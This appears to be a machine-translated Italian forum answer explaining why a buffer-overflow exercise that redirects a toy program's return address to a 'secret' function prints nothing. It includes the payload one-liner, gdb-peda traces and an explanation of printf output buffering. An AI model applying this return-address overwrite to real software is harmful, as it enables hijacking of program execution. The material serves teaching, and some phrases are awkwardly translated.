Questa è stata una domanda divertente da esplorare.
Ho provato l'exploit e ho ottenuto lo stesso risultato. Ho appena ricevuto SegFault ma mi aspettavo "funzioni segrete inserite" e SegFault.
$ python -c "print 'a' * 68 + 'b' * 4 + '\x8b\x84\x04\x08'" > exploit.txt
$ ./overflowtest < exploit.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb��
Segmentation fault (core dumped)
Ho aperto il programma usando gdb e ho cercato di capire cosa sta succedendo. Ho impostato un punto di interruzione su return_input .
$ gdb -q overflowtest
Reading symbols from overflowtest...(no debugging symbols found)...done.
gdb-peda$ b return_input
Breakpoint 1 at 0x80484aa
gdb-peda$ run < exploit.txt
Guarda il seguente stato:
[-------------------------------------code-------------------------------------]
0x80484ca <return_input+38>: add esp,0x10
0x80484cd <return_input+41>: nop
0x80484ce <return_input+42>: leave
=> 0x80484cf <return_input+43>: ret
0x80484d0 <main>: lea ecx,[esp+0x4]
0x80484d4 <main+4>: and esp,0xfffffff0
0x80484d7 <main+7>: push DWORD PTR [ecx-0x4]
0x80484da <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcc7c --> 0x804848b (<secret>: push ebp)
0004| 0xffffcc80 --> 0xf7fa7300 --> 0xf7f50447 ("ISO-10646/UCS2/")
0008| 0xffffcc84 --> 0xffffcca0 --> 0x1
0012| 0xffffcc88 --> 0x0
0016| 0xffffcc8c --> 0xf7e0d637 (<__libc_start_main+247>: add esp,0x10)
0020| 0xffffcc90 --> 0xf7fa7000 --> 0x1b1db0
0024| 0xffffcc94 --> 0xf7fa7000 --> 0x1b1db0
0028| 0xffffcc98 --> 0x0
[------------------------------------------------------------------------------]
Si noti che l'istruzione successiva da eseguire è l'istruzione ret . La parte superiore della pila ha l'indirizzo di segreto . Questo è esattamente quello che volevamo. Quindi, nessun problema fino a qui.
Quello che segue è lo stato gdb-peda subito prima che la funzione segreta printf venga eseguita.
[-------------------------------------code-------------------------------------]
0x804848e <secret+3>: sub esp,0x8
0x8048491 <secret+6>: sub esp,0xc
0x8048494 <secret+9>: push 0x8048580
=> 0x8048499 <secret+14>: call 0x8048340 <printf@plt>
0x804849e <secret+19>: add esp,0x10
0x80484a1 <secret+22>: nop
0x80484a2 <secret+23>: leave
0x80484a3 <secret+24>: ret
Guessed arguments:
arg[0]: 0x8048580 ("entered secret function")
arg[1]: 0x61616161 ('aaaa')
[------------------------------------stack-------------------------------------]
0000| 0xffffcc64 --> 0x8048580 ("entered secret function")
0004| 0xffffcc68 ('a' <repeats 16 times>, "bbbbbbbb")
0008| 0xffffcc6c ('a' <repeats 12 times>, "bbbbbbbb")
0012| 0xffffcc70 ("aaaaaaaabbbbbbbb")
Ora, printf verrà eseguito. La cima della pila ha l'indirizzo della stringa che deve stampare. Tutto bene fino ad ora.
Ho eseguito printf e controllato l'output di "funzione segreta immessa".
gdb-peda$ ni
Ecco il problema. Anche se printf è stato eseguito, la stringa non è stata stampata sulla console.
Quindi, possiamo concludere che lo sfruttamento è stato fatto correttamente.
Cerchiamo di capire perché printf non ha stampato quella stringa sull'output della console.
printf e molte di queste funzioni di output funzionano nel modo seguente.
-
Quando viene eseguito printf, il contenuto al suo interno è not stampato direttamente sulla console. Invece, viene memorizzato in un buffer.
printf("entered secret function") ------------------------> [ OUTPUT_BUFFER ]----------------> console / (Standard Output)
-
Successivamente, il buffer viene svuotato e tutto viene stampato sulla console.
-
Come spiegato in questa risposta, la il buffer viene svuotato solo quando vengono raggiunte determinate condizioni.
- Il buffer viene svuotato se è pieno.
- Viene svuotato se viene rilevata una nuova riga.
- Viene svuotato se il programma termina.
- Viene svuotato se forziamo lo scarico usando la funzione fflush .
Tornando alla domanda in corso,
-
Il printf ("funzione segreta immessa") viene eseguito e la stringa viene inserita in OUTPUT_BUFFER.
-
Se il overflowtest è terminato normalmente, OUTPUT_BUFFER si sarebbe svuotato. Ma a causa dell'exploit, è stato interrotto a causa di un SegFault. Quindi, il buffer non è stato svuotato. Quindi, non hai visto "la funzione segreta inserita".
La funzione puts non funziona in questo modo. Aggiunge un carattere \ n / newline alla stringa. Quindi, quella stringa è immediatamente visibile sulla console.
Quindi, se vuoi vedere la "funzione segreta immessa", aggiungi un carattere newline ad essa - "inserisci la funzione segreta \ n" o aggiungi un fflush (stdout) dopo printf.
Spero di aver risposto alla tua domanda.
Se qualcosa non è chiaro, si prega di lasciare un commento qui sotto.